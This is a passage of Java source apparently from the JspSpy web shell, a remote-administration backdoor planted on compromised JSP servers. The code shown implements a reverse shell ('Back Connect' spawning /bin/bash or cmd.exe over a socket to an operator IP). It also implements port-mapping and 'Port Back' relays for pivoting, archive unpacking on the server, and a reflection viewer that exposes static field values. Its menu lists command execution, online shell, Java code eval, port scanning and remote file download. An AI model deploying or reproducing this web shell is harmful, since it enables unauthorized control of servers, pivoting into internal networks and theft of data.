  2993.                                 while (e.hasMoreElements()) {
  2994.                                         ZipEntry en = (ZipEntry) e.nextElement();
  2995.                                         String entryPath = en.getName();
  2996.                                         int index = entryPath.lastIndexOf("/");
  2997.                                         if (index != -1)
  2998.                                                 entryPath = entryPath.substring(0, index);
  2999.                                         File absEntryFile = new File(save, entryPath);
  3000.                                         if (!absEntryFile.exists()
  3001.                                                         && (en.isDirectory() || en.getName().indexOf("/") != -1))
  3002.                                                 absEntryFile.mkdirs();
  3003.                                         BufferedOutputStream output = null;
  3004.                                         BufferedInputStream input = null;
  3005.                                         try {
  3006.                                                 output = new BufferedOutputStream(new FileOutputStream(
  3007.                                                                 new File(save, en.getName())));
  3008.                                                 input = new BufferedInputStream(file.getInputStream(en));
  3009.                                                 byte[] b = new byte[1024];
  3010.                                                 int len = input.read(b);
  3011.                                                 while (len != -1) {
  3012.                                                         output.write(b, 0, len);
  3013.                                                         len = input.read(b);
  3014.                                                 }
  3015.                                         } catch (Exception ex) {
  3016.                                         } finally {
  3017.                                                 try {
  3018.                                                         if (output != null)
  3019.                                                                 output.close();
  3020.                                                         if (input != null)
  3021.                                                                 input.close();
  3022.                                                 } catch (Exception ex1) {
  3023.                                                 }
  3024.                                         }
  3025.                                 }
  3026.                                 file.close();
  3027.                                 JSession.setAttribute(MSG, "UnPack File Success!");
  3028.                                 response.sendRedirect(SHELL_NAME);
  3029.                         } catch (Exception e) {
  3030.  
  3031.                                 throw e;
  3032.                         }
  3033.                 }
  3034.         }
  3035.  
  3036.         //VMapPort
  3037.         private static class VmpInvoker extends DefaultInvoker {
  3038.                 public void invoke(HttpServletRequest request,
  3039.                                 HttpServletResponse response, HttpSession JSession)
  3040.                                 throws Exception {
  3041.                         try {
  3042.                                 PrintWriter out = response.getWriter();
  3043.                                 Object localIP = JSession.getAttribute("localIP");
  3044.                                 Object localPort = JSession.getAttribute("localPort");
  3045.                                 Object remoteIP = JSession.getAttribute("remoteIP");
  3046.                                 Object remotePort = JSession.getAttribute("remotePort");
  3047.                                 Object done = JSession.getAttribute("done");
  3048.  
  3049.                                 JSession.removeAttribute("localIP");
  3050.                                 JSession.removeAttribute("localPort");
  3051.                                 JSession.removeAttribute("remoteIP");
  3052.                                 JSession.removeAttribute("remotePort");
  3053.                                 JSession.removeAttribute("done");
  3054.  
  3055.                                 if (Util.isEmpty(localIP))
  3056.                                         localIP = InetAddress.getLocalHost().getHostAddress();
  3057.                                 if (Util.isEmpty(localPort))
  3058.                                         localPort = "3389";
  3059.                                 if (Util.isEmpty(remoteIP))
  3060.                                         remoteIP = "www.baidu.com";
  3061.                                 if (Util.isEmpty(remotePort))
  3062.                                         remotePort = "80";
  3063.                                 if (!Util.isEmpty(done))
  3064.                                         Util.outMsg(out, done.toString());
  3065.  
  3066.                                 out
  3067.                                                 .println("<form action=\""
  3068.                                                                 + SHELL_NAME
  3069.                                                                 + "\" method=\"post\">"
  3070.                                                                 + "<input type=\"hidden\" name=\"o\" value=\"mapPort\">"
  3071.                                                                 + "  <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
  3072.                                                                 + "  <tr>"
  3073.                                                                 + "    <td><h2 id=\"Bin_H2_Title\">PortMap &gt;&gt;<hr/></h2>"
  3074.                                                                 + "      <div id=\"hOWTm\">"
  3075.                                                                 + "      <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"
  3076.                                                                 + "      <tr align=\"center\">"
  3077.                                                                 + "        <td style=\"width:5%\"></td>"
  3078.                                                                 + "        <td style=\"width:20%\" align=\"left\"><br/>Local Ip :"
  3079.                                                                 + "          <input name=\"localIP\" id=\"localIP\" type=\"text\" class=\"input\" size=\"20\" value=\""
  3080.                                                                 + localIP
  3081.                                                                 + "\" />"
  3082.                                                                 + "          </td>"
  3083.                                                                 + "        <td style=\"width:20%\" align=\"left\">Local Port :"
  3084.                                                                 + "          <input name=\"localPort\" id=\"localPort\" type=\"text\" class=\"input\" size=\"20\" value=\""
  3085.                                                                 + localPort
  3086.                                                                 + "\" /></td>"
  3087.                                                                 + "        <td style=\"width:20%\" align=\"left\">Remote Ip :"
  3088.                                                                 + "          <input name=\"remoteIP\" id=\"remoteIP\" type=\"text\" class=\"input\" size=\"20\" value=\""
  3089.                                                                 + remoteIP
  3090.                                                                 + "\" /></td>"
  3091.                                                                 + "        <td style=\"width:20%\" align=\"left\">Remote Port :"
  3092.                                                                 + "          <input name=\"remotePort\" id=\"remotePort\" type=\"text\" class=\"input\" size=\"20\" value=\""
  3093.                                                                 + remotePort
  3094.                                                                 + "\" /></td>"
  3095.                                                                 + "      </tr>"
  3096.                                                                 + "      <tr align=\"center\">"
  3097.                                                                 + "        <td colspan=\"5\"><br/>"
  3098.                                                                 + "          <input type=\"submit\" name=\"FJE\" value=\"MapPort\" id=\"FJE\" class=\"bt\" />"
  3099.                                                                 + "                     <input type=\"button\" name=\"giX\" value=\"ClearAll\" id=\"giX\" onClick=\"location.href='"
  3100.                                                                 + SHELL_NAME + "?o=smp'\" class=\"bt\" />"
  3101.                                                                 + "    </td>" + "    </tr>" + " </table>"
  3102.                                                                 + "    </div>" + "</td>" + "</tr>" + "</table>"
  3103.                                                                 + "</form>");
  3104.                                 String targetIP = request.getParameter("targetIP");
  3105.                                 String targetPort = request.getParameter("targetPort");
  3106.                                 String yourIP = request.getParameter("yourIP");
  3107.                                 String yourPort = request.getParameter("yourPort");
  3108.                                 if (Util.isEmpty(targetIP))
  3109.                                         targetIP = "127.0.0.1";
  3110.                                 if (Util.isEmpty(targetPort))
  3111.                                         targetPort = "3389";
  3112.                                 if (Util.isEmpty(yourIP))
  3113.                                         yourIP = request.getRemoteAddr();
  3114.                                 if (Util.isEmpty(yourPort))
  3115.                                         yourPort = "53";
  3116.                                 out
  3117.                                                 .println("<form action=\""
  3118.                                                                 + SHELL_NAME
  3119.                                                                 + "\" method=\"post\">"
  3120.                                                                 + "<input type=\"hidden\" name=\"o\" value=\"portBack\">"
  3121.                                                                 + "  <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
  3122.                                                                 + "  <tr>"
  3123.                                                                 + "    <td><h2 id=\"Bin_H2_Title\">Port Back &gt;&gt;<hr/></h2>"
  3124.                                                                 + "      <div id=\"hOWTm\">"
  3125.                                                                 + "      <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"
  3126.                                                                 + "      <tr align=\"center\">"
  3127.                                                                 + "        <td style=\"width:5%\"></td>"
  3128.                                                                 + "        <td style=\"width:20%\" align=\"left\"><br/>Target Ip :"
  3129.                                                                 + "          <input name=\"targetIP\" id=\"targetIP\" type=\"text\" class=\"input\" size=\"20\" value=\""
  3130.                                                                 + targetIP
  3131.                                                                 + "\" />"
  3132.                                                                 + "          </td>"
  3133.                                                                 + "        <td style=\"width:20%\" align=\"left\">Target Port :"
  3134.                                                                 + "          <input name=\"targetPort\" id=\"targetPort\" type=\"text\" class=\"input\" size=\"20\" value=\""
  3135.                                                                 + targetPort
  3136.                                                                 + "\" /></td>"
  3137.                                                                 + "        <td style=\"width:20%\" align=\"left\">Your Ip :"
  3138.                                                                 + "          <input name=\"yourIP\" id=\"yourIP\" type=\"text\" class=\"input\" size=\"20\" value=\""
  3139.                                                                 + yourIP
  3140.                                                                 + "\" /></td>"
  3141.                                                                 + "        <td style=\"width:20%\" align=\"left\">Your Port :"
  3142.                                                                 + "          <input name=\"yourPort\" id=\"yourPort\" type=\"text\" class=\"input\" size=\"20\" value=\""
  3143.                                                                 + yourPort
  3144.                                                                 + "\" /></td>"
  3145.                                                                 + "      </tr>"
  3146.                                                                 + "      <tr align=\"center\">"
  3147.                                                                 + "        <td colspan=\"5\"><br/>"
  3148.                                                                 + "          <input type=\"submit\" name=\"FJE\" value=\"Port Back\" id=\"FJE\" class=\"bt\" />"
  3149.                                                                 + "    </td>" + "    </tr>" + " </table>"
  3150.                                                                 + "    </div>" + "</td>" + "</tr>" + "</table>"
  3151.                                                                 + "</form>");
  3152.                         } catch (Exception e) {
  3153.  
  3154.                                 throw e;
  3155.                         }
  3156.                 }
  3157.         }
  3158.  
  3159.         //StopMapPort
  3160.         private static class SmpInvoker extends DefaultInvoker {
  3161.                 public boolean doAfter() {
  3162.                         return true;
  3163.                 }
  3164.  
  3165.                 public boolean doBefore() {
  3166.                         return true;
  3167.                 }
  3168.  
  3169.                 public void invoke(HttpServletRequest request,
  3170.                                 HttpServletResponse response, HttpSession JSession)
  3171.                                 throws Exception {
  3172.                         try {
  3173.                                 Object obj = JSession.getAttribute(PORT_MAP);
  3174.                                 if (obj != null) {
  3175.                                         ServerSocket server = (ServerSocket) JSession
  3176.                                                         .getAttribute(PORT_MAP);
  3177.                                         server.close();
  3178.                                 }
  3179.                                 JSession.setAttribute("done", "Stop Success!");
  3180.                                 ((Invoker) ins.get("vmp")).invoke(request, response, JSession);
  3181.                         } catch (Exception e) {
  3182.  
  3183.                                 throw e;
  3184.                         }
  3185.                 }
  3186.         }
  3187.  
  3188.         //PortBack
  3189.         private static class PortBackInvoker extends DefaultInvoker {
  3190.                 public boolean doAfter() {
  3191.                         return true;
  3192.                 }
  3193.  
  3194.                 public boolean doBefore() {
  3195.                         return true;
  3196.                 }
  3197.  
  3198.                 public void invoke(HttpServletRequest request,
  3199.                                 HttpServletResponse response, HttpSession JSession)
  3200.                                 throws Exception {
  3201.                         try {
  3202.                                 String targetIP = request.getParameter("targetIP");
  3203.                                 String targetPort = request.getParameter("targetPort");
  3204.                                 String yourIP = request.getParameter("yourIP");
  3205.                                 String yourPort = request.getParameter("yourPort");
  3206.                                 Socket yourS = new Socket();
  3207.                                 yourS.connect(new InetSocketAddress(yourIP, Integer
  3208.                                                 .parseInt(yourPort)));
  3209.                                 Socket targetS = new Socket();
  3210.                                 targetS.connect(new InetSocketAddress(targetIP, Integer
  3211.                                                 .parseInt(targetPort)));
  3212.                                 StreamConnector.readFromLocal(new DataInputStream(targetS
  3213.                                                 .getInputStream()), new DataOutputStream(yourS
  3214.                                                 .getOutputStream()));
  3215.                                 StreamConnector.readFromRemote(targetS, yourS,
  3216.                                                 new DataInputStream(yourS.getInputStream()),
  3217.                                                 new DataOutputStream(targetS.getOutputStream()));
  3218.                                 JSession.setAttribute("done", "Port Back Success !");
  3219.                                 ((Invoker) ins.get("vmp")).invoke(request, response, JSession);
  3220.                         } catch (Exception e) {
  3221.  
  3222.                                 throw e;
  3223.                         }
  3224.                 }
  3225.         }
  3226.  
  3227.         private static class MapPortInvoker extends DefaultInvoker {
  3228.                 public boolean doBefore() {
  3229.                         return false;
  3230.                 }
  3231.  
  3232.                 public boolean doAfter() {
  3233.                         return false;
  3234.                 }
  3235.  
  3236.                 public void invoke(HttpServletRequest request,
  3237.                                 HttpServletResponse response, HttpSession JSession)
  3238.                                 throws Exception {
  3239.                         try {
  3240.                                 PrintWriter out = response.getWriter();
  3241.                                 String localIP = request.getParameter("localIP");
  3242.                                 String localPort = request.getParameter("localPort");
  3243.                                 final String remoteIP = request.getParameter("remoteIP");
  3244.                                 final String remotePort = request.getParameter("remotePort");
  3245.                                 if (Util.isEmpty(localIP) || Util.isEmpty(localPort)
  3246.                                                 || Util.isEmpty(remoteIP) || Util.isEmpty(remotePort))
  3247.                                         return;
  3248.                                 Object obj = JSession.getAttribute(PORT_MAP);
  3249.                                 if (obj != null) {
  3250.                                         ServerSocket s = (ServerSocket) obj;
  3251.                                         s.close();
  3252.                                 }
  3253.                                 final ServerSocket server = new ServerSocket();
  3254.                                 server.bind(new InetSocketAddress(localIP, Integer
  3255.                                                 .parseInt(localPort)));
  3256.                                 JSession.setAttribute(PORT_MAP, server);
  3257.                                 new Thread(new Runnable() {
  3258.                                         public void run() {
  3259.                                                 while (true) {
  3260.                                                         Socket soc = null;
  3261.                                                         Socket remoteSoc = null;
  3262.                                                         DataInputStream remoteIn = null;
  3263.                                                         DataOutputStream remoteOut = null;
  3264.                                                         DataInputStream localIn = null;
  3265.                                                         DataOutputStream localOut = null;
  3266.                                                         try {
  3267.                                                                 soc = server.accept();
  3268.                                                                 remoteSoc = new Socket();
  3269.                                                                 remoteSoc
  3270.                                                                                 .connect(new InetSocketAddress(
  3271.                                                                                                 remoteIP, Integer
  3272.                                                                                                                 .parseInt(remotePort)));
  3273.                                                                 remoteIn = new DataInputStream(remoteSoc
  3274.                                                                                 .getInputStream());
  3275.                                                                 remoteOut = new DataOutputStream(remoteSoc
  3276.                                                                                 .getOutputStream());
  3277.                                                                 localIn = new DataInputStream(soc
  3278.                                                                                 .getInputStream());
  3279.                                                                 localOut = new DataOutputStream(soc
  3280.                                                                                 .getOutputStream());
  3281.                                                                 StreamConnector.readFromLocal(localIn,
  3282.                                                                                 remoteOut);
  3283.                                                                 StreamConnector.readFromRemote(soc, remoteSoc,
  3284.                                                                                 remoteIn, localOut);
  3285.                                                         } catch (Exception ex) {
  3286.                                                                 break;
  3287.                                                         }
  3288.                                                 }
  3289.                                         }
  3290.  
  3291.                                 }).start();
  3292.                                 JSession.setAttribute("done", "Map Port Success!");
  3293.                                 JSession.setAttribute("localIP", localIP);
  3294.                                 JSession.setAttribute("localPort", localPort);
  3295.                                 JSession.setAttribute("remoteIP", remoteIP);
  3296.                                 JSession.setAttribute("remotePort", remotePort);
  3297.                                 JSession.setAttribute(SESSION_O, "vmp");
  3298.                                 response.sendRedirect(SHELL_NAME);
  3299.                         } catch (Exception e) {
  3300.  
  3301.                                 throw e;
  3302.                         }
  3303.                 }
  3304.         }
  3305.  
  3306.         //VBackConnect
  3307.         private static class VbcInvoker extends DefaultInvoker {
  3308.                 public void invoke(HttpServletRequest request,
  3309.                                 HttpServletResponse response, HttpSession JSession)
  3310.                                 throws Exception {
  3311.                         try {
  3312.                                 PrintWriter out = response.getWriter();
  3313.                                 Object ip = JSession.getAttribute("ip");
  3314.                                 Object port = JSession.getAttribute("port");
  3315.                                 Object program = JSession.getAttribute("program");
  3316.                                 Object done = JSession.getAttribute("done");
  3317.                                 JSession.removeAttribute("ip");
  3318.                                 JSession.removeAttribute("port");
  3319.                                 JSession.removeAttribute("program");
  3320.                                 JSession.removeAttribute("done");
  3321.                                 if (Util.isEmpty(ip))
  3322.                                         ip = request.getRemoteAddr();
  3323.                                 if (Util.isEmpty(port) || !Util.isInteger(port.toString()))
  3324.                                         port = "53";
  3325.                                 if (Util.isEmpty(program)) {
  3326.                                         if (ISLINUX)
  3327.                                                 program = "/bin/bash";
  3328.                                         else
  3329.                                                 program = "cmd.exe";
  3330.                                 }
  3331.  
  3332.                                 if (!Util.isEmpty(done))
  3333.                                         Util.outMsg(out, done.toString());
  3334.                                 out
  3335.                                                 .println("<form action=\""
  3336.                                                                 + SHELL_NAME
  3337.                                                                 + "\" method=\"post\">"
  3338.                                                                 + "<input type=\"hidden\" name=\"o\" value=\"backConnect\">"
  3339.                                                                 + "  <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
  3340.                                                                 + "  <tr>"
  3341.                                                                 + "    <td><h2 id=\"Bin_H2_Title\">Back Connect &gt;&gt;</h2>"
  3342.                                                                 + "      <div id=\"hOWTm\">"
  3343.                                                                 + "      <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"
  3344.                                                                 + "      <tr align=\"center\">"
  3345.                                                                 + "        <td style=\"width:5%\"></td>"
  3346.                                                                 + "        <td  align=\"center\">Your Ip :"
  3347.                                                                 + "          <input name=\"ip\" id=\"ip\" type=\"text\" class=\"input\" size=\"20\" value=\""
  3348.                                                                 + ip
  3349.                                                                 + "\" />"
  3350.                                                                 + "          Your Port :"
  3351.                                                                 + "          <input name=\"port\" id=\"port\" type=\"text\" class=\"input\" size=\"20\" value=\""
  3352.                                                                 + port
  3353.                                                                 + "\" />Program To Back :"
  3354.                                                                 + "          <input name=\"program\" id=\"program\" type=\"text\" value=\""
  3355.                                                                 + program
  3356.                                                                 + "\" class=\"input\" size=\"20\" value=\"d\" /></td>"
  3357.                                                                 + "      </tr>"
  3358.                                                                 + "      <tr align=\"center\">"
  3359.                                                                 + "        <td colspan=\"2\"><br/>"
  3360.                                                                 + "          <input type=\"submit\" name=\"FJE\" value=\"Connect\" id=\"FJE\" class=\"bt\" />"
  3361.                                                                 + "    </td>" + "    </tr>" + " </table>"
  3362.                                                                 + "    </div>" + "</td>" + "</tr>" + "</table>"
  3363.                                                                 + "</form>");
  3364.                         } catch (Exception e) {
  3365.  
  3366.                                 throw e;
  3367.                         }
  3368.                 }
  3369.         }
  3370.  
  3371.         private static class BackConnectInvoker extends DefaultInvoker {
  3372.                 public boolean doAfter() {
  3373.                         return false;
  3374.                 }
  3375.  
  3376.                 public boolean doBefore() {
  3377.                         return false;
  3378.                 }
  3379.  
  3380.                 public void invoke(HttpServletRequest request,
  3381.                                 HttpServletResponse response, HttpSession JSession)
  3382.                                 throws Exception {
  3383.                         try {
  3384.                                 String ip = request.getParameter("ip");
  3385.                                 String port = request.getParameter("port");
  3386.                                 String program = request.getParameter("program");
  3387.                                 if (Util.isEmpty(ip) || Util.isEmpty(program)
  3388.                                                 || !Util.isInteger(port))
  3389.                                         return;
  3390.                                 Socket socket = new Socket(ip, Integer.parseInt(port));
  3391.                                 Process process = Runtime.getRuntime().exec(program);
  3392.                                 (new StreamConnector(process.getInputStream(), socket
  3393.                                                 .getOutputStream())).start();
  3394.                                 (new StreamConnector(process.getErrorStream(), socket
  3395.                                                 .getOutputStream())).start();
  3396.                                 (new StreamConnector(socket.getInputStream(), process
  3397.                                                 .getOutputStream())).start();
  3398.                                 JSession.setAttribute("done", "Back Connect Success!");
  3399.                                 JSession.setAttribute("ip", ip);
  3400.                                 JSession.setAttribute("port", port);
  3401.                                 JSession.setAttribute("program", program);
  3402.                                 JSession.setAttribute(SESSION_O, "vbc");
  3403.                                 response.sendRedirect(SHELL_NAME);
  3404.                         } catch (Exception e) {
  3405.  
  3406.                                 throw e;
  3407.                         }
  3408.                 }
  3409.         }
  3410.  
  3411.         private static class JspEnvInvoker extends DefaultInvoker {
  3412.                 public void invoke(HttpServletRequest request,
  3413.                                 HttpServletResponse response, HttpSession JSession)
  3414.                                 throws Exception {
  3415.                         try {
  3416.                                 PrintWriter out = response.getWriter();
  3417.                                 out
  3418.                                                 .println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
  3419.                                                                 + "      <tr>"
  3420.                                                                 + "        <td><h2 id=\"Ninty_H2_Title\">System Properties &gt;&gt;</h2>"
  3421.                                                                 + "          <div id=\"ghaB\">"
  3422.                                                                 + "            <hr/>"
  3423.                                                                 + "            <ul id=\"Ninty_Ul_Sys\" class=\"info\">");
  3424.                                 Properties pro = System.getProperties();
  3425.                                 Enumeration names = pro.propertyNames();
  3426.                                 while (names.hasMoreElements()) {
  3427.                                         String name = (String) names.nextElement();
  3428.                                         out.println("<li><u>" + Util.htmlEncode(name) + " : </u>"
  3429.                                                         + Util.htmlEncode(pro.getProperty(name)) + "</li>");
  3430.                                 }
  3431.                                 out
  3432.                                                 .println("</ul><h2 id=\"Ninty_H2_Mac\">System Environment &gt;&gt;</h2><hr/><ul id=\"Ninty_Ul_Sys\" class=\"info\">");
  3433.                                 /*
  3434.                                  Map envs = System.getenv();
  3435.                                  Set<Map.Entry<String,String>> entrySet = envs.entrySet();
  3436.                                  for (Map.Entry<String,String> en:entrySet) {
  3437.                                  out.println("<li><u>"+Util.htmlEncode(en.getKey())+" : </u>"+Util.htmlEncode(en.getValue())+"</li>");
  3438.                                  }*/
  3439.                                 out
  3440.                                                 .println("</ul></div></td>" + "      </tr>"
  3441.                                                                 + "    </table>");
  3442.                         } catch (Exception e) {
  3443.  
  3444.                                 throw e;
  3445.                         }
  3446.                 }
  3447.         }
  3448.  
  3449.         private static class ReflectInvoker extends DefaultInvoker {
  3450.                 public void invoke(HttpServletRequest request,
  3451.                                 HttpServletResponse response, HttpSession JSession)
  3452.                                 throws Exception {
  3453.                         try {
  3454.                                 PrintWriter out = response.getWriter();
  3455.                                 String c = request.getParameter("Class");
  3456.                                 Class cls = null;
  3457.                                 try {
  3458.                                         if (!Util.isEmpty(c))
  3459.                                                 cls = Class.forName(c);
  3460.                                 } catch (ClassNotFoundException ex) {
  3461.                                         Util.outMsg(out, "<span style='color:red'>Class " + c
  3462.                                                         + " Not Found ! </span>");
  3463.                                 }
  3464.                                 out
  3465.                                                 .println("<form action=\""
  3466.                                                                 + SHELL_NAME
  3467.                                                                 + "\" id='refForm' method=\"post\">"
  3468.                                                                 + "  <input type=\"hidden\" name=\"o\" value=\"reflect\">"
  3469.                                                                 + "  <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
  3470.                                                                 + "    <tr>"
  3471.                                                                 + "      <td><h2 id=\"Bin_H2_Title\">Java Reflect &gt;&gt;</h2>"
  3472.                                                                 + "          <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"
  3473.                                                                 + "            <tr>"
  3474.                                                                 + "              <td>Class Name : <input name=\"Class\" type=\"text\" class=\"input\" value=\""
  3475.                                                                 + (Util.isEmpty(c) ? "java.lang.Object" : c)
  3476.                                                                 + "\" size=\"60\"/> "
  3477.                                                                 + "              <input type=\"submit\" class=\"bt\" value=\"Reflect\"/></td>"
  3478.                                                                 + "            </tr>" + "            "
  3479.                                                                 + "          </table>" + "        </td>"
  3480.                                                                 + "    </tr>" + "  </table>" + "</form>");
  3481.  
  3482.                                 if (cls != null) {
  3483.                                         StringBuffer sb = new StringBuffer();
  3484.                                         if (cls.getPackage() != null)
  3485.                                                 sb.append("package " + cls.getPackage().getName()
  3486.                                                                 + ";\n");
  3487.                                         String n = null;
  3488.                                         if (cls.isInterface())
  3489.                                                 n = "";
  3490.                                         //else if (cls.isEnum())
  3491.                                         //      n = "enum";
  3492.                                         else
  3493.                                                 n = "class";
  3494.                                         sb.append(Modifier.toString(cls.getModifiers()) + " " + n
  3495.                                                         + " " + cls.getName() + "\n");
  3496.                                         if (cls.getSuperclass() != null)
  3497.                                                 sb
  3498.                                                                 .append("\textends <a href=\"javascript:document.forms['refForm'].elements['Class'].value='"
  3499.                                                                                 + cls.getSuperclass().getName()
  3500.                                                                                 + "';document.forms['refForm'].submit()\" style='color:red;'>"
  3501.                                                                                 + cls.getSuperclass().getName()
  3502.                                                                                 + "</a>\n");
  3503.                                         if (cls.getInterfaces() != null
  3504.                                                         && cls.getInterfaces().length != 0) {
  3505.                                                 Class[] faces = cls.getInterfaces();
  3506.                                                 sb.append("\t implements ");
  3507.                                                 for (int i = 0; i < faces.length; i++) {
  3508.                                                         sb
  3509.                                                                         .append("<a href=\"javascript:document.forms['refForm'].elements['Class'].value='"
  3510.                                                                                         + faces[i].getName()
  3511.                                                                                         + "';document.forms['refForm'].submit()\" style='color:red'>"
  3512.                                                                                         + faces[i].getName() + "</a>");
  3513.                                                         if (i != faces.length - 1) {
  3514.                                                                 sb.append(",");
  3515.                                                         }
  3516.                                                 }
  3517.                                         }
  3518.                                         sb.append("{\n\t\n");
  3519.                                         sb.append("\t//constructors..\n");
  3520.                                         Constructor[] cs = cls.getConstructors();
  3521.                                         for (int i = 0; i < cs.length; i++) {
  3522.                                                 Constructor cc = cs[i];
  3523.                                                 sb.append("\t" + cc + ";\n");
  3524.                                         }
  3525.                                         sb.append("\n\t//fields\n");
  3526.                                         Field[] fs = cls.getDeclaredFields();
  3527.                                         for (int i = 0; i < fs.length; i++) {
  3528.                                                 Field f = fs[i];
  3529.                                                 sb.append("\t" + f.toString() + ";");
  3530.                                                 if (Modifier.toString(f.getModifiers()).indexOf(
  3531.                                                                 "static") != -1) {
  3532.                                                         sb.append("\t//value is : ");
  3533.                                                         f.setAccessible(true);
  3534.                                                         Object obj = f.get(null);
  3535.                                                         sb.append("<span style='color:red'>");
  3536.                                                         if (obj != null)
  3537.                                                                 sb.append(obj.toString());
  3538.                                                         else
  3539.                                                                 sb.append("NULL");
  3540.  
  3541.                                                         sb.append("</span>");
  3542.                                                 }
  3543.                                                 sb.append("\n");
  3544.                                         }
  3545.  
  3546.                                         sb.append("\n\t//methods\n");
  3547.                                         Method[] ms = cls.getDeclaredMethods();
  3548.                                         for (int i = 0; i < ms.length; i++) {
  3549.                                                 Method m = ms[i];
  3550.                                                 sb.append("\t" + m.toString() + ";\n");
  3551.                                         }
  3552.                                         sb.append("}\n");
  3553.                                         String m = "<span style='font-weight:normal'>"
  3554.                                                         + Util.highLight(sb.toString()).replaceAll("\t",
  3555.                                                                         "&nbsp;&nbsp;&nbsp;&nbsp;").replaceAll(
  3556.                                                                         "\n", "<br/>") + "</span>";
  3557.                                         Util.outMsg(out, m, "left");
  3558.                                 }
  3559.                         } catch (Exception e) {
  3560.                                 throw e;
  3561.                         }
  3562.                 }
  3563.         }
  3564.  
  3565.         private static class TopInvoker extends DefaultInvoker {
  3566.                 public void invoke(HttpServletRequest request,
  3567.                                 HttpServletResponse response, HttpSession JSession)
  3568.                                 throws Exception {
  3569.                         try {
  3570.                                 PrintWriter out = response.getWriter();
  3571.                                 out
  3572.                                                 .println("<form action=\""
  3573.                                                                 + SHELL_NAME
  3574.                                                                 + "\" method=\"post\" name=\"doForm\"></form>"
  3575.                                                                 + "<table width=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">"
  3576.                                                                 + "     <tr class=\"head\">"
  3577.                                                                 + "             <td><span style=\"float:right;\">JspSpy Ver: 2010</span>"
  3578.                                                                 + request.getHeader("host")
  3579.                                                                 + " (<span id='ip'>"
  3580.                                                                 + InetAddress.getLocalHost().getHostAddress()
  3581.                                                                 + "</span>) | <a href=\"javascript:if (!window.clipboardData){alert('only support IE!');}else{void(window.clipboardData.setData('Text', document.getElementById('ip').innerText));alert('ok')}\">copy</a></td>"
  3582.                                                                 + "     </tr>"
  3583.                                                                 + "     <tr class=\"alt1\">"
  3584.                                                                 + "             <td><a href=\"javascript:doPost({o:'logout'});\">Logout</a> | "
  3585.                                                                 + "                     <a href=\"javascript:doPost({o:'fileList'});\">File Manager</a> | "
  3586.                                                                 + "                     <a href=\"javascript:doPost({o:'vConn'});\">DataBase Manager</a> | "
  3587.                                                                 + "                     <a href=\"javascript:doPost({o:'vs'});\">Execute Command</a> | "
  3588.                                                                 + "                     <a href=\"javascript:doPost({o:'vso'});\">Shell OnLine</a> | "
  3589.                                                                 + "                     <a href=\"javascript:doPost({o:'vbc'});\">Back Connect</a> | "
  3590.                                                                 + "                     <a href=\"javascript:doPost({o:'reflect'});\">Java Reflect</a> | "
  3591.                                                                 + "                     <!--<a href=\"javascript:alert('not support yet');\">Http Proxy</a> | -->"
  3592.                                                                 + "                     <a href=\"javascript:doPost({o:'ev'});\">Eval Java Code</a> | "
  3593.                                                                 + "                     <a href=\"javascript:doPost({o:'vPortScan'});;\">Port Scan</a> | "
  3594.                                                                 + "                     <a href=\"javascript:doPost({o:'vd'});\">Download Remote File</a> | "
  3595.                                                                 + "                     <a href=\"javascript:;doPost({o:'clipboard'});\">ClipBoard</a> | "
  3596.                                                                 + "                     <a href=\"javascript:doPost({o:'vmp'});\">Port Map</a> | "
  3597.                                                                 + "                     <a href=\"javascript:doPost({o:'vother'});\">Others</a> | "
  3598.                                                                 + "                     <a href=\"javascript:doPost({o:'jspEnv'});\">JSP Env</a> "
  3599.                                                                 + "     </tr>" + "</table>");
  3600.                                 if (JSession.getAttribute(MSG) != null) {
  3601.                                         Util.outMsg(out, JSession.getAttribute(MSG).toString());
  3602.                                         JSession.removeAttribute(MSG);
  3603.                                 }
  3604.                                 if (JSession.getAttribute(ENTER_MSG) != null) {
  3605.                                         String outEntry = request.getParameter("outentry");
  3606.                                         if (Util.isEmpty(outEntry) || !outEntry.equals("true"))
  3607.                                                 Util.outMsg(out, JSession.getAttribute(ENTER_MSG)
  3608.                                                                 .toString());
  3609.                                 }
  3610.                         } catch (Exception e) {
  3611.  
  3612.                                 throw e;
  3613.                         }
  3614.                 }
  3615.         }
  3616.  
  3617.         private static class VOnLineShellInvoker extends DefaultInvoker {
  3618.                 public void invoke(HttpServletRequest request,
  3619.                                 HttpServletResponse response, HttpSession JSession)
  3620.                                 throws Exception {
  3621.                         try {
  3622.                                 PrintWriter out = response.getWriter();
  3623.                                 out
  3624.                                                 .println("<script>"
  3625.                                                                 + "                             function $(id) {"
  3626.                                                                 + "                                     return document.getElementById(id);"
  3627.                                                                 + "                             }"
  3628.                                                                 + "                             var ie = window.navigator.userAgent.toLowerCase().indexOf(\"msie\") != -1;"
  3629.                                                                 + "                             window.onload = function(){"
  3630.                                                                 + "                                     setInterval(function(){"
  3631.                                                                 + "                                             if ($(\"autoscroll\").checked)"
  3632.                                                                 + "                                             {"
  3633.                                                                 + "                                                     var f = window.frames[\"echo\"];"
  3634.                                                                 + "                                                     if (f && f.document && f.document.body)"
  3635.                                                                 + "                                                     {"
  3636.                                                                 + "                                                             if (!ie)"
  3637.                                                                 + "                                                             {"
  3638.                                                                 + "                                                                     if (f.document.body.offsetHeight)"
  3639.                                                                 + "                                                                     {"
  3640.                                                                 + "                                                                             f.scrollTo(0,parseInt(f.document.body.offsetHeight)+1);"
  3641.                                                                 + "                                                                     }"
  3642.                                                                 + "                                                             } else {"
  3643.                                                                 + "                                                                     f.scrollTo(0,parseInt(f.document.body.scrollHeight)+1);"
  3644.                                                                 + "                                                             }" + "                                                  }" + "                                          }"
  3645.                                                                 + "                                     },500);" + "                            }" + "                  </script>");
  3646.                                 out
  3647.                                                 .println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"
  3648.                                                                 + "  <tr>" + "    <td>");
